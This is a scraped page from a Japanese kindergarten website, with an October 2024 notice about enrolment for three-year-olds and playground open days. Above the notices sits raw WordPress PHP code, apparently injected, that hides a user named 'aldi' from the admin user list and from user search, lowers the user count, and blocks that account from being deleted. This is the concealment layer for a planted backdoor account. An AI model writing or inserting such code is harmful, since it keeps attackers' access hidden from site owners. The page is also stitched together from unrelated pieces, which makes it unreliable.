add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'aldi') {
wp_die(
__('User aldi tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'aldi');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
10月 | 2024 | 学校法人安田学園 新生幼稚園
10月 | 2024 | 学校法人安田学園 新生幼稚園
2025年度6月からの満3歳児入園の園児を募集します。
ご希望の方は、お問い合わせ下さい。
★募集対象 満3歳児(2022年4月2日~2023年1月6日生)
3歳の誕生日から入園できます。
★10名程度。願書受付は3歳誕生日の6カ月前の日から。
2024年10月18日
2024年11月の園庭開放日をお知らせいたします。
親子で自由に園庭をお使い下さい。
雨天の時などは、図書室の絵本コーナーで絵本を見ていただくこともできます。
いずれも10:00~12:00です。
予約不要です。
園庭横の駐車場(16台分)をご利用いただけます。
2024年
11月15日(金)
11月22日(金)
11月29日(金)
12月の園庭開放はありません。次回は1、2月を予定しています。
2024年10月18日